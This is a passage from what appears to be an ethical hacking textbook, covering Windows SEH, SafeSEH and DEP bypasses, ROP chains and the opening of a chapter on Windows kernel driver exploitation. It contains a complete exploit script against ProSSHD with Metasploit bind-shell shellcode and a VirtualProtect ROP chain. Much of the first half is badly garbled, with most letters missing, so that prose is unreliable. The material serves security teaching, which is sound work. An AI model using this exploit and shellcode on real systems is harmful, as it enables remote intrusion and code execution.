d m  mmoy dump w  u od you  o  wok.
To  up  po, you d o v o  vu ym d d  k
p. W   xpo  d, k  k o d o dow
u you   A’. Cou o dow o d you od d  pom
 mu ompo. Ao mp wy o  o bd   by d
  pob ombo o   by quy  you pu. You  um
0x00   bd , o you woud   om k :
buf = "\x01\x02\x03\x04\x05\...\...\xFF" #Truncated for space
NOTE You may have to repeat this process of looking for bad characters
many times until your code executes properly. In general, you will want to
exclude all whitespace characters: 0x00, 0x20, 0x0a, 0x0d, 0x1b, 0x0b, and
0x0c. You would exclude one character at a time until all the expected bytes
appear in the stack segment.
O   wok popy, you oud   bkpo you  o  u-
o PUSH ESP d RETN. P f7 o -p. T uo po oud ow
b po o you NOP pdd. T o d o pdd oud b vb  
dmb o,  ow :
269
PART III
P f9 o   xuo ou. A uo oud pp o  , 
ow x, u dmo od xuo  ou wok xpo! W v ow
dmod  b Wdow xpo-dvopm po o  -wod xpo.
I  b, w ook  vub Wdow ppo d wo  wok xpo
o ompom   ym. T o w o mpov you my w Immuy
Dbu d  Mo pu- om  Co Tm,  w  o y ou b
qu ommoy ud by xpo dvop o uuy ompom  pp-
o. By dy modu  w o pp  vou xpo-mo
oo, u  ASLR, w w b o u m o v  b xpo. Com up
x, w w k  o ook  vou mmoy poo d byp qu.
270
Understanding Structured Exception Handling
W pom ,  op ym povd  mm d Suud
Expo Hd (SEH) o y o ov opo. T  o mpmd 
 ou od w y/ o y/xpo bok:
int foo(void){
__try{
// An exception may occur here
}
__except( EXCEPTION_EXECUTE_HANDLER ){
// This handles the exception
}
return 0;
Wdow kp k o  SEH od by u  p uu:

_EXCEPTION_REGISTRATION struc
prev dd ?
handler dd ?
_EXCEPTION_REGISTRATION ends
T EXCEPTION_REGISTRATION uu   by  z d o wo

mmb:
• prev Po o  x SEH od

• handler Po o  u d od
T od (xpo m)  od o  k  um d om 
. T b o    wy pd    mmb o  Td
Iomo Bok (TIB), w  od o x6 m   FS:[0] . A
ow  Fu 13-,  d o    wy  ym du xpo
d, d  prev po o  EXCEPTION_REGISTRATION od 
wy 0xFFFFFFFF.
W  xpo  d,  op ym (d.d) p  oow
C++ uo3 o  k d  :
EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);
I  p,  k oud ju ovw o o  xpo d o 
k d d oo o  k’ od (o  k). Howv,  w
 d:
• R  zod ou, ju po o  xpo d.

• C o xpo d, od o  k,  bokd.
271
local vars
saved EBP
Stack
saved EIP
func1( ) frame
parameters
exc_handler_1( ) prev
handler
exc_handler_2( ) prev NT_TIB[0] == FS:[0]
handler
PART III
main( )
initial entry frame
MSVCRT!exhandler 0xFFFFFFFF
default exception handler
Figure 13-2 Structured Exception Handling (SEH)
T SEH   b    bu, om, v ou you
my b ovw  u po o  k, xuo v   u
uo. T  ommoy du o  d o w  voo pp po o
  uo po, ud by   umb o  you  o 
bu v ovw  d. I  , u dow  k p  bu-
   oo o  SEH  o  d. T d o w  voo w
u FS:[0] o  dd, w od  po o  d’ k dd w
  “Nx SEH” (NSEH) vu  od. T FS m  wy po o 
Td Iomo Bok (TIB) o  uy v d. T TIB   p-d
ud uu  od d u   po o  b o  SEH  o
 d  FS:[0], k m, d  po o  Po Evom Bok (PEB)
 FS:[0x30]. Dy bow  NSEH poo o  k   dd o  
d o b d. Ovw  dd w  uom dd  o  y wy
o  oo  you  ub o v  u po ovw. SSEH m o op
 qu om wok, bu  you w ,   y bypd.
Understanding and Bypassing Common

Windows Memory Protections
A oud b xpd, ov m, k d ow o k dv o  k o
mmoy poo  pvou vo o Wdow. I po, wy bk oud
 m o Wdow XP SP d Sv 003, Moo d o dd mmoy po-
o, w w qu v o om m. Howv,  k vuy
272
d wy oud   poo oo. T   ouou vouo o
xpoo qu d poo o w  u o o qu.
Ov  y, my w poo v b ddd, d v mo ook,
u  Wdow Dd Expo Gud, w dbud w Wdow 10 vo
170. W  poo  ombd, y  mk  xpoo o  vu-
by mu mo .
Safe Structured Exception Handling

T pupo o  S Suud Expo Hd (SSEH) poo  o p-
v  ovw d u o SEH uu od o  k. I  pom  om-
pd d kd w  /SSEH k opo,  d o  by w o
 b o  vd xpo d;  b w b kd w  xpo
d  d o u      . T k  do  p o  RDp-
Expo ou  d.d, w pom  oow :
• I u   xpo od  od o  k o  u d.
• I u   d po do o po bk o  k.
• I u   d  d   uozd  o d.
• I u   d    m o mmoy   xub.
So,  you  ,  SSEH poo mm k p o po xpo
d, bu  you w    b,   o oopoo.
Bypassing SafeSEH
A pvouy dud, w  xpo  d,  op ym p 
except_handler uo o  k d  ,  ow  Fu 13-3.
F, o  w  xpo  dd,  _EstablisherFrame po
 od  ESP+. T _EstablisherFrame po uy po o  op o ou
xpo d . To,  w   _next po o ou ovw
xpo od o  mby uo EB 06 90 90 (w w jump owd
6 by), d w   _handler po o omw   d DLL/EXE, 
 POP/POP/RETN qu, w  d oo o  pom o ou k
od  o  k. W  xpo  dd by  op ym, 
d w b d, w w dd pop  by o  k d xu 
uo pod o  ESP+ (w  ou JMP 06 ommd), d oo w
b dd o  k od  o  k, w od my b pd.
NOTE In this case, we needed to jump forward only 6 bytes to clear the
following address and the 2 bytes of the jump instruction. Sometimes, due
to space constraints, a jump backward on the stack may be needed; in that
case, a negative number may be used to jump backward (for example, EB FA
FF FF will jump backward 6 bytes).
Stack
ESP Saved RET
_ExceptionRecord
ESP+8 _EstablisherFrame
_ContextRecord
Somewhere in dll/exe _DispatcherContext

(without /SafeSEH)
pop X
pop X 0x909006eb
ret
_handler
Attacker Code
Figure 13-3 The stack when handling an exception

273
PART III
274
A  uo o  mo ommo qu ud o xpo  bvo o SEH
 od o  Co.b wb (p://www.o.b/dx.pp/00/07/3/
w-bu-ovow-xpo--quk-d-b-uo-p-/). T  wy o
d SSEH  o mpy byp  by d  modu   o ompd w 
poo d u  m qu dbd.
Data Execution Prevention

D Exuo Pvo (DEP)  m o pv  xuo o od pd 
 p, k, d o o o mmoy w od xuo oud o b p-
md. Po o 004,  dw dd o ud uppo. I 004, AMD m ou
w  NX b   CPU. T owd, o   m,  dw o oz
 mmoy p  xub o o d o  ody. Soo , I m
ou w  XD u, w dd  m . Wdow  b b o u 
NX/XD b  XP SP, d   odd o b  mu d v oo.
Appo  b kd w  /NXCOMPAT , w w b dw
DEP o  ppo, dpd o  OS vo d uppo o vou 
uo d o mmoy pmo d poo.
Return-Oriented Programming
So, w  w do  w ’ xu od o  k? Exu  w? Bu
w? I  x kd modu  my m qu o od  d w
 RETN uo. T qu o od my o my o v b xud by 
pom. Im w v oo o  po v  bu ovow. I w y ou 
 o po o  dd od qu, pod o by  k po, d
u o  o m  uo, w  m oo o  po d v 
do ou bdd. T  d return-oriented programming d w pod by Hovv
Sm. I   uo o qu u  b. W  u  d o
 up   o  uo o  pmo  mmoy w ou od d,
ow u o  oud DEP.
Gadgets
T m o o od mod   pvou o  w w  gadgets.
T wod code  ud  bu  do o d o b  uo ud by  po-
m o modu; you my jump o  dd   mdd o  dd uo,
o yw   xub mmoy,  o   pom  k you  ook
o pom d u xuo o  x d pod o by  k po. T
oow xmp ow  dd uo ud d o d.d  mmoy
dd 0x77773E:
778773E2 890424 MOV DWORD PTR SS:[ESP],EAX
778773E5 C3 RETN
W w pp w w o om 0x77773E2 o 0x77773E3:

778773E3 04 24 ADD AL,24
778773E5 C3 RETN
275
T qu o od  d w  u, bu  uo bov  u
 d. I  od  mu o u, w  u    d. Bu  x
dd pod o by ESP o RSP o  k  o ROP d,  u -
m    o   x qu o od. A,  mod o pom-
m  m o b d  uy  uo o ,  dud  Cp 10.
W b, w ovw  u po w  dd o   o  uo,
u  system(). I ROP, o w  oo o  uo po, w po  o
 oo o  po o ou d d u ou  .
Som d ud uwd uo  m o w w mu omp,
u   POP o o uo  oud vy mody  k o  .
Tk  ook   dmby:
XOR EAX, EAX
POP EDI
RETN
PART III
I  xmp, w d o v  EAX  zod ou, oowd by  u.
Uouy,    POP EDI uo  bw. To omp o , w
 mpy dd 4 by o pdd oo  k o   do’ pop  dd o
ou x d o EDI. I EDI  om w d  ,   d my o
b ub. L’ pd   uwd uo   d  b od,
d o w omp by dd  pdd oo  k. Now, ook   oow-
 xmp:
XOR EAX, EAX
POP EAX
RETN
I  xmp, w mpy d  POP EDI o  POP EAX. I ou o  o zo
ou  EAX ,   uwd POP EAX woud mk  d uub.
T  o yp o uwd uo, om o w  b qu 
o ov, u   mmoy dd b d   o mppd.
Building the ROP Chain

U  Mo PyCommd pu- om o0d3, w  d   o om-
mdd d o  v modu (-cp nonull  b ud o u  o u by
 ud  p o  ROP ):
!mona rop –m msvcr71.dll –cp nonull
T xuo o  ommd u   o o v , ud 
oow:
• A op_.x    ompd o m-ompd ROP  

 b ud o  oud DEP, u uo u  VirtualProtect() d
VirtualAlloc(). T   v you ou ou muy o
ou d bud  ROP .
276
• A op.x   o   umb o d  my b o u  p
o you xpo. I  o uommo o d ROP  o wok 
ou o  box. You w o d you ook o d o omp o
mo, d  op.x   p.
• A  d kpvo.x, w w oy o k pvo uo.
• Dpd o  vo o Mo b ud, o  my b d,
u  op_uo.x d XML  o ompd ROP .
Ao,  ROP  d my vy dpd o  vo o Mo you
 u d  opo you .
Mo o bou  uo d  pm  b oud   Mo u p.
T rop ommd w k  w o u d w podu  oupu  o
wv od you d w Mo u  !mona config -set workingfolder
<PATH>/%p ommd. T o o  vy vbo op.x  w ud 
u  :
Interesting gadgets
-------------------
0x7c35a002 : # ADD EAX,ECX # RETN ** [MSVCR71.dll]**|{PAGE_EXECUTE_READ}
0x7c34e03f : # POP ESI # RETN ** [MSVCR71.dll] ** |{PAGE_EXECUTE_READ}
0x7c35a040 : # MOV EAX,ECX # RETN ** [MSVCR71.dll] **|{PAGE_EXECUTE_READ}
0x7c34c048 : # DEC ECX # RETN ** [MSVCR71.dll] ** |{PAGE_EXECUTE_READ}
…
Fom  oupu, you my  o d o pom  k  d, bud-
  um o VirtualProtect() d  . I  o qu  mp  
oud; you v o wok w w you v vb. You my v o  v.
T oow od, w u   PoSSHD pom, dmo  wok
ROP    VirtualProtect() o mody  pmo w  od 
od o  k, o   bom xub. DEP  b ud bk o o
wd.x. T p  b md pod_dp.py.
#prosshd_dep.py
import paramiko
from scp import *
import struct
hostname = "192.168.209.198"
username = "test1"
password = "asdf"
# windows/shell_bind_tcp - 368 bytes

# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=31337, RHOST=, EXITFUNC=process,
sc = b""
sc += b"\xdd\xc1\xd9\x74\x24\xf4\xbb\xc4\xaa\x69\x8a\x58\x33\xc9\xb1"
sc += b"\x56\x83\xe8\xfc\x31\x58\x14\x03\x58\xd0\x48\x9c\x76\x30\x05"
sc += b"\x5f\x87\xc0\x76\xe9\x62\xf1\xa4\x8d\xe7\xa3\x78\xc5\xaa\x4f"
sc += b"\xf2\x8b\x5e\xc4\x76\x04\x50\x6d\x3c\x72\x5f\x6e\xf0\xba\x33"
277
sc += b"\xac\x92\x46\x4e\xe0\x74\x76\x81\xf5\x75\xbf\xfc\xf5\x24\x68"
sc += b"\x8a\xa7\xd8\x1d\xce\x7b\xd8\xf1\x44\xc3\xa2\x74\x9a\xb7\x18"
sc += b"\x76\xcb\x67\x16\x30\xf3\x0c\x70\xe1\x02\xc1\x62\xdd\x4d\x6e"
sc += b"\x50\x95\x4f\xa6\xa8\x56\x7e\x86\x67\x69\x4e\x0b\x79\xad\x69"
sc += b"\xf3\x0c\xc5\x89\x8e\x16\x1e\xf3\x54\x92\x83\x53\x1f\x04\x60"
sc += b"\x65\xcc\xd3\xe3\x69\xb9\x90\xac\x6d\x3c\x74\xc7\x8a\xb5\x7b"
sc += b"\x08\x1b\x8d\x5f\x8c\x47\x56\xc1\x95\x2d\x39\xfe\xc6\x8a\xe6"
sc += b"\x5a\x8c\x39\xf3\xdd\xcf\x55\x30\xd0\xef\xa5\x5e\x63\x83\x97"
sc += b"\xc1\xdf\x0b\x94\x8a\xf9\xcc\xdb\xa1\xbe\x43\x22\x49\xbf\x4a"
sc += b"\xe1\x1d\xef\xe4\xc0\x1d\x64\xf5\xed\xc8\x2b\xa5\x41\xa2\x8b"
sc += b"\x15\x22\x12\x64\x7c\xad\x4d\x94\x7f\x67\xf8\x92\xb1\x53\xa9"
sc += b"\x74\xb0\x63\x37\xec\x3d\x85\xad\xfe\x6b\x1d\x59\x3d\x48\x96"
sc += b"\xfe\x3e\xba\x8a\x57\xa9\xf2\xc4\x6f\xd6\x02\xc3\xdc\x7b\xaa"
sc += b"\x84\x96\x97\x6f\xb4\xa9\xbd\xc7\xbf\x92\x56\x9d\xd1\x51\xc6"
sc += b"\xa2\xfb\x01\x6b\x30\x60\xd1\xe2\x29\x3f\x86\xa3\x9c\x36\x42"
sc += b"\x5e\x86\xe0\x70\xa3\x5e\xca\x30\x78\xa3\xd5\xb9\x0d\x9f\xf1"
sc += b"\xa9\xcb\x20\xbe\x9d\x83\x76\x68\x4b\x62\x21\xda\x25\x3c\x9e"
sc += b"\xb4\xa1\xb9\xec\x06\xb7\xc5\x38\xf1\x57\x77\x95\x44\x68\xb8"
sc += b"\x71\x41\x11\xa4\xe1\xae\xc8\x6c\x11\xe5\x50\xc4\xba\xa0\x01"
sc += b"\x54\xa7\x52\xfc\x9b\xde\xd0\xf4\x63\x25\xc8\x7d\x61\x61\x4e"
PART III
sc += b"\x6e\x1b\xfa\x3b\x90\x88\xfb\x69"
# ROP chain generated by Mona.py, along with fixes to deal with alignment.
rop = struct.pack('<L',0x7c349614) # RETN, skip 4 bytes [MSVCR71.dll]
rop += struct.pack('<L',0x7c34728e) # POP EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0xfffffcdf) # Value to add to EBP,
rop += struct.pack('<L',0x7c1B451A) # ADD EBP,EAX # RETN
rop += struct.pack('<L',0xfffffdff) # Value to negate to 0x00000201
rop += struct.pack('<L',0x7c353c73) # NEG EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c34373a) # POP EBX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0xffffffff) #
rop += struct.pack('<L',0x7c345255) # INC EBX #FPATAN #RETN MSVCR71.dll
rop += struct.pack('<L',0x7c352174) # ADD EBX,EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c344efe) # POP EDX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0xffffffc0) # Value to negate to0x00000040
rop += struct.pack('<L',0x7c351eb1) # NEG EDX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c36ba51) # POP ECX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c38f2f4) # &Writable location [MSVCR71.dll]
rop += struct.pack('<L',0x7c34a490) # POP EDI # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c346c0b) # RETN (ROP NOP) [MSVCR71.dll]
rop += struct.pack('<L',0x7c352dda) # POP ESI # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c3415a2) # JMP [EAX] [MSVCR71.dll]
rop += struct.pack('<L',0x7c34d060) # POP EAX # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c37a151) # ptr to &VirtualProtect()
rop += struct.pack('<L',0x7c378c81) # PUSHAD # … # RETN [MSVCR71.dll]
rop += struct.pack('<L',0x7c345c30) # &push esp # RET [MSVCR71.dll]
req = b"\x41" * 489

nop = b"\x90" * 200
ssh_client.connect(hostname, username=username, key_filename=None, password=password)
sleep(1)
with SCPClient(ssh_client.get_transport(), sanitize=lambda x:x) as scp:
scp.put(scp, req+rop+nop+sc)
Aou oow  pom my pp o b du  , w you z
   ju   o po o  o kd modu  o vub u-
o, oowd by  RETN uo  mpy u  x d,  you 
278
  mod o  md. T  om d o od   vu (p-
p o   o VirtualProtect). T  o d o omp o vou
u o u  o um  odd o  ppop . W
u  ROP  d by Mo,  uo dmd  w d
popy,   o VirtualProtect()  uuy md; owv, upo u om
SYSEXIT ou o Ring0, w  u oo  dow  k d o  mdd
o ou od. To omp o , om d w muy ddd o u
EBP  po o ou NOP d. O oud pd  m o   up w
po o  o mu pdd  o y; owv,  m  o b p
o o k. A ROP  you  my ook vy d om  o ow
  xmp.
I  oow od, w   popp  vu 0xd o EAX. W 
 ddd o  dd  EBP  po o ou od,  w o ov ^3 d
po o ou NOP d.
rop += struct.pack('<L',0xfffffcdf) # Value to add to EBP,
rop += struct.pack('<L',0x7c1B451A) # ADD EBP,EAX # RETN
To u ,  you d o do  om b m o u  EBP po o
 oo d  NOP d. T  uo pom  ddo. To dmo-
  bo d , k  ook   oow m.
I   m,  pom  pud bo  djum o EBP. A you 
, EBP po o  mdd o  od. T x m ow  dd o
w EBP  po   djum  b md.
279
PART III
A you  , EBP po o ou NOP d, ju bo  od. T od
ud   xpo, d w Mpo, bd   o po TCP 31337. W
 xpo  owd o ou,  od  uuy xud d  po 
op,  ow  w  w pomp.
280
Summary
T qu ow   p oud  you up d u w  b o
Wdow xpoo v k ovow  w  byp mp xpo mo
u  SSEH d DEP. A you v ,   vou poo  Moo
op ym, dpd o  omp opo d d o o. W
 poo om w  o k o ovom, u   -d-
mou m. Poo u  o od by Expo Gud  p op d
xpo, bu  dud,  kd k  uomz  xpo o vd my o
 oo.
For Further Reading

Corelan Team www.o.b
“Exploit Mitigation Improvements in Windows 8” (Ken Johnson and Matt Miller),
Microsoft Corp. .3.o/03/014//w-.pd
“Exploit Writing Tutorial Part 3: SEH Based Exploits” (Peter Van Eeckhoutte) www
.o.b/dx.pp/00/07/5/w-bu-ovow-xpo--quk-d-b-
uo-p-3-
Microsoft Debugging Tools for Windows do.moo.om/-u/wdow-
dw/dv/dbu/dbu-dowod-oo
“mona.py – the manual” (corelanc0d3r) www.o.b/dx.pp/011/07/14/
mo-py--mu/
“ProSSHD v1.2 20090726 Buffer Overflow Exploit” and a link to a vulnerable
application (original exploit by S2 Crew) www.xpo-db.om/xpo/1161/
“ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass)” and a link
to a vulnerable application with ROP (Alexey Sintsov) www.xpo-db.om/
xpo/145/
References
1. NETMARKETSHARE, “Op Sym Mk S by Vo,” p://
mk.om/op-ym-mk-.px (d My 5, 01).
2. k, “Hoy d Adv  Wdow Sod,” Phrack 6, Ju , 004,
pk.o/u/6/7.m.
3. M Pk, “A C Cou o  Dp o W3 Suud Expo
Hd,” MSDN, Juy 17, p://bypo.om/ou/pk_
_ou_dp_o_w3_.m.
Windows Kernel
Exploitation
CHAPTER
14
• The Windows kernel
• Kernel drivers
• Kernel debugging
• Kernel exploitation
• Token stealing
The Windows kernel and writing kernel eploits are massive topics individually; it takes
years to learn kernel internals and then how to apply that knowledge properly to eploit
security flaws. These flaws can be found not only in the kernel itself but also in etensions
known as drivers. In this chapter, we will take a look at how to set up kernel debugging
between two Windows systems, reverse engineer a kernel driver, and then eploit that
kernel driver to elevate our privileges.
The Windows Kernel

Since the Windows kernel is so comple, we are only going to be able to discuss the basics
of the kernel and some background you will need to understand the eploit later in the
chapter. There are many more comprehensive resources for Windows kernel and kernel
internals, including Windows Internals, 7th Edition (Parts 1 and 2), Windows Kernel Pro-
gramming by Pavel Yosifovich, and various blog posts scattered throughout the Internet.
The Windows Software Development Kit (SDK), Windows Driver Kit (WDK), and
the Intel/AMD/ARM processor manuals are valuable references as well. Also, we will be
reviewing concepts from and eploiting 64-bit Windows (32-bit Windows is slightly dif-
ferent in some cases, but it’s becoming continuingly less relevant as time goes on).
The kernel is implemented as the kernel layer, the eecutive layer, and drivers. The
kernel and eecutive layers are implemented in the kernel image, ntoskrnl.ee. The ker-
nel layer contains code for thread scheduling, locking, synchronization, and basic kernel
object management. The eecutive layer contains code for security enforcement, object
management, memory management, logging, and Windows Management Instrumenta-
tion, among other things. Most kernel drivers are .sys files, but a few kernel components
281
282
are DLLs instead, such as hal.dll and ci.dll. A .sys file is a Portable Eecutable file just
like an EXE or DLL.
The following system diagram shows the general architecture layout of a Windows
system.
Hardware
HAL Graphics
Pico
Drivers Kernel Drivers
Providers
GDI/USER
Executive
System Service Dispatcher
ntdll.dll win32u.dll
Pico Minimal
Processes Processes Subsystem DLLs
Environment
Applications Services System Processes Subsystems
Starting from the bottom, there are user-mode applications and services that either are
run on top of the Windows subsystem (kernel32.dll, user32.dll, and so on), are built for
the native API directly (ntdll.dll and win32u.dll), or are run as minimal/pico processes
and talk directly to the kernel via the System Service Dispatcher. The System Service
Dispatcher (aka the system call handler) takes requests from user mode and dispatches
them to the kernel. Crossing over the line, you should notice that the addresses go from
lower in user mode to much higher in kernel mode. Memory is segmented like this
due to historical and processor-specific reasons. It just so happens there are two distinct
canonical memory spaces with a large non-canonical gap in the middle to divide memory
belonging to kernel space (ring 0) and user space (ring 3). On the kernel-mode side lives
the kernel layer, eecutive layer, and drivers, as previously mentioned. Some drivers, such
as graphics drivers, may talk directly to the hardware, while others will use the Hardware
Abstraction Layer (HAL). The HAL is an architecture- and platform-agnostic library
for interacting with hardware. As of recent versions of Windows 10 (20H1+), the HAL
is implemented inside of the kernel image, and hal.dll is just a forwarding DLL that is
still around for compatibility reasons. Don’t worry if that is a lot to digest, as it is just an
overview of the components of a Windows system.
Kernel Drivers
Kernel drivers are etensions to the kernel that can help the system interact with previ-
ously unknown devices or file systems, provide an interface for kernel introspection
to user mode, and modify how the kernel functions. The latter is discouraged heavily
by Microsoft, so much so that the company introduced Kernel Patch Protection (aka
PatchGuard) to prevent developers from tampering with core system routines and data
structures. Kernel drivers known as boot drivers are loaded at boot by the bootloader.
Other drivers are loaded by the service manager once the system is booted. Only admin-
istrators or those with the SeLoadDriverPrivilege can load drivers on a Windows system.
Chapter 14: Windows Kernel Exploitation
283
Microsoft does not consider the boundary between system administrator and the kernel
a security boundary since administrators can just load (nearly) arbitrary drivers anyway.
However, drivers must have an acceptable digital signature in order to be loaded since
kernel-mode code signing (KMCS) is enforced by default on all 64-bit machines.
A driver can provide input/output (I/O) routines in the form of major functions. The
Windows Driver Kit (WDK) defines 28 major functions, including create, close, power,
I/O control, read, write, query information, set information, and shut down. Handlers
for each major function are set inside of a driver’s _DRIVER_OBJECT structure when
the driver is initialized. This structure contains various information about the driver,
such as the name of the driver, a linked list of devices associated with the driver, an
optional unload routine that is called when a driver unload is requested, and the memory
bounds of the driver (start and size). A driver can create associated _DEVICE_OBJECT
structures that represent a device for which the driver is responsible. Devices may or
may not be backed by actual hardware. An eample of a non-hardware-backed driver is
PART III
the one Sysinternal Process Eplorer uses to get additional information about the sys-
tem. In the case of Process Eplorer, a Microsoft signed driver is loaded when the tool
starts, and user-mode APIs are used to communicate with it. The driver creates a user-
mode accessible device object and services requests from user mode via the I/O system
in the kernel. The kernel’s I/O system dispatches requests to the major function han-
dler routine defined in the _DRIVER_OBJECT to which the device belongs. Major
function codes are constant integer values defined in the WDK headers. Their symbol
names all begin with IRP_MJ_, and they are indices into the major function array of
the _DRIVER_OBJECT starting at 070. Major function handlers are also called driver
dispatch routines and have the following prototype:1
NTSTATUS DriverDispatch(
_DEVICE_OBJECT *DeviceObject,
_IRP *Irp
)
{...}
An I/O Request Packet (IRP) describes an I/O request to the device. It has many fields
that will become important as you work through the lab later in the chapter. A few nota-
ble ones include the AssociatedIrp.SystemBuffer field, which often includes the input
and/or output buffer for the request, and the Tail.Overlay.CurrentStackLocation field,
which contains information about the request relevant to the specific device being called.
Important information in the CurrentStackLocation (_IO_STACK_LOCATION)
includes the MajorFunction field, which is the current major function being requested,
and the Parameters field, which is a massive union that contains different informa-
tion depending on the major function being called. In the case of a device I/O control,
the MajorFunction will be IRP_MJ_DEVICE_CONTROL (14), and the Parameters
field will describe the I/O Control (IOCTL) code being called and the input and out-
put buffer sizes. For most IOCTL calls, the input and/or output buffer will be in the
AssociatedIrp.SystemBuffer field of the _IRP. For more information on IOCTL codes,
see the Windows Documentation.
284
In the labs in this chapter, you will reverse engineer and debug a kernel driver to locate
a device it creates, determine the major function handler(s) that are registered, learn how
to call into the major function handlers from user mode, and ultimately write an eploit
to perform Local Privilege Escalation (LPE).
Kernel Debugging
A user-land (ring 3) debugger is only capable of debugging individual programs that
run on top of the kernel. A kernel-land (ring 0) debugger is required to debug the
kernel. Kernel debugging is usually done between two systems: one runs the debugger,
and the other is the system being debugged. Two systems are needed because, unlike
suspending a single program in a ring 3 debugger, stopping the whole kernel would
prevent you from interacting with the system to run commands or resume it! There
is one eception known as “local” kernel debugging, which allows the convenience of
debugging the currently running system’s kernel. The main drawback of local kernel
debugging is that you can’t halt the running system, meaning you can’t set or inject any
breakpoints or debug on a crash, and since the system is constantly running, values in
memory might be changing rapidly.
The only officially supported (and thus recommended) ring 0 debugger for Windows
is WinDbg, which is usually pronounced either win-dee-bee-gee, wind-bag, or win-dee-
bug. It is developed and maintained by Microsoft and included as part of develop-
ment tools bundles. WinDbg offers a number of different transports over which to
debug the kernel. Network debugging is the most reliable, efficient, and consistent
setup for kernel debugging. WinDbg can be obtained by installing the Windows SDK,
WDK, or from the Microsoft Store as WinDbg Preview. The newer WinDbg Preview
is the same WinDbg, but with a metro-like interface. The labs in this section will use
WinDbg Preview. If you’re more of a commandline fan, you can use kd.ee to connect
to the target system. It is included alongside WinDbg in the SDK and WDK. All varia-
tions of WinDbg are backed by the DbgEng, which makes up the core functionality
of WinDbg. Microsoft includes header files and libraries to interact with the DbgEng
in the Windows SDK so that developers can write tools that use the library that backs
WinDbg programmatically.
Lab 14-1: Setting Up Kernel Debugging
To get started, you are going to need two Windows 10 VMs and your virtualization soft-
ware of choice (VMware, VirtualBo, Parallels, and so on). You can also use Windows 11
if you have a copy, as the process and results should be the same. If you have a Windows
license and VMs already set up, then great! If you do not have any Windows 10 VMs
at all, then you have a few options: download a Windows 10 ISO from Microsoft and
use a trial copy of Windows or head to the Windows developer resources and download
the legacy Internet Eplorer Development VM. Check out the “For Further Reading”
section for links. The latter is still provided by Microsoft at the time of writing, though
that may be subject to change!
285
NOTE These test VMs are acceptable for lab use, but if you’re going to
use Windows as your OS or commercially, you need to buy a license.
Stealing is bad!
Once you have one Windows 10 VM set up to your liking, create a full or linked
clone. One VM will be the debugger machine on which you will install WinDbg,
and the other will be the debug target. WinDbg Preview can be installed from the
Microsoft Store and WinDbg Classic can be installed from the Windows SDK.
To install WinDbg Classic, download the Windows SDK and select Debugging Tools
for Windows in the installer.
Once any necessary installs have finished, enable network kernel debugging by using
bcdedit from an administrator shell on the target VM:
PART III
PS C:\WINDOWS\system32> bcdedit.exe /debug on
The operation completed successfully.
PS C:\WINDOWS\system32> bcdedit.exe /dbgsettings net hostip:1.1.1.1 port:50000
Key=jz2h8ly1cbrc.2j4hzt8k2wxmj.10wxsohgi27lk.2tm20duy53h5i
The hostip can be set to anything if you are connecting via WinDbg Preview or
specify the target variable in the WinDbg Classic connection string; otherwise, set it to
the IP of the debugger VM. Copy the returned key over to your debugger machine, as
you will need it to connect remotely. Reboot the target VM to boot into debug mode.
Connect WinDbg Preview by going to File | Attach to kernel and then entering the
required information on the Net tab. For WinDbg Classic or kd.ee, use the -k flag on
the command line and enter this connection string, replacing the values in angle brackets
with values specific to your environment:
windbg.exe -k tcp:target=<target IP>,port=<target port>,key=<key from bcdedit>
If connected successfully, you should get an active prompt at a breakpoint (int 3)

that is at a kernel address (starts with 0fffff ). The command line will also be active. If
you are unable to connect, check the IP address of the target, make sure both VMs can
connect over the network, and try turning off the Windows firewall on both machines.
Once you are connected, feel free to eperiment with some commands. WinDbg is very
overwhelming at first, but don’t worry, it gets easier with practice.
With kernel debugging set up, you are now ready to proceed to identifying a target
for kernel hacking!
Picking a Target
One of the most burning and pertinent questions in all of vulnerability research is “how
do I pick a target?” While we may not be able to answer that question, it is worth ponder-
ing as it relates to the current topic. If you were looking to get into Windows kernel and
kernel driver eploitation, where do you start? Starting with trying to find vulnerabilities
in the kernel itself or Microsoft-developed drivers might be a bit difficult or discouraging.
286
One easier and more approachable starting point is known-vulnerable drivers. Microsoft
used to have a much less rigorous process to sign a driver. Nowadays, Microsoft requires
driver developers to submit their drivers to a portal to get a Windows Hardware Quality
Labs (WHQL) Release signature.2 Microsoft used to issue Software Publisher Certificates
(SPCs) so that third parties could sign their own drivers before publishing; they discon-
tinued the program after several of the certificates were leaked, and some publishers were
signing poorly designed or intentionally security la drivers. Some of these SPC signed
drivers are still being widely distributed, as you will see in this section.
In August 2019 at DEFCON 27, researchers from Eclypsium Labs showcased a
number of drivers with vulnerabilities, highlighting this particular issue.3 At the time
of writing there are 39 drivers in their list that allow operations such as arbitrary virtual
and physical read and write, arbitrary read-write-eecute kernel memory allocation, and
arbitrary model-specific register (MSR) read and write. These features are not inherently
vulnerabilities because privileged applications such as BIOS updaters need to use them
to function properly, but access required to utilize them is what matters here. These driv-
ers are accessible from user mode by any permission level on the system. In some cases,
even processes running as low or untrusted integrity can call into them. This means that
anyone with code-eecution could potentially elevate their permissions to SYSTEM or
kernel. Drivers created with the legacy Windows Driver Model (WDM) have open access
permissions by default. ACLs can be set via the Windows API or in the registry entry
for the driver; however, the developers of these drivers failed to do either, thus eposing
privileged functionality.
In May 2021, Sentinel Labs researcher Kasif Dekel published an article detailing a
widely distributed Dell driver with similar issues to the ones on the Eclypsium driv-
ers list.4 One interesting thing about this driver is the scope of distribution—almost
400 platforms have been affected by this issue and disclosure. The driver is called
DBUtil_2_3.sys and has been included with Dell and Alienware updater utilities since
2009. It was signed by Dell’s third-party SPC and not reviewed by or submitted to
Microsoft. Since it is a recent vulnerability and has such a large scope, it is a perfect target
for learning kernel eploitation.
Lab 14-2: Obtaining the Target Driver
The Dell advisory says that the vulnerabilities impact “firmware update utility packages,
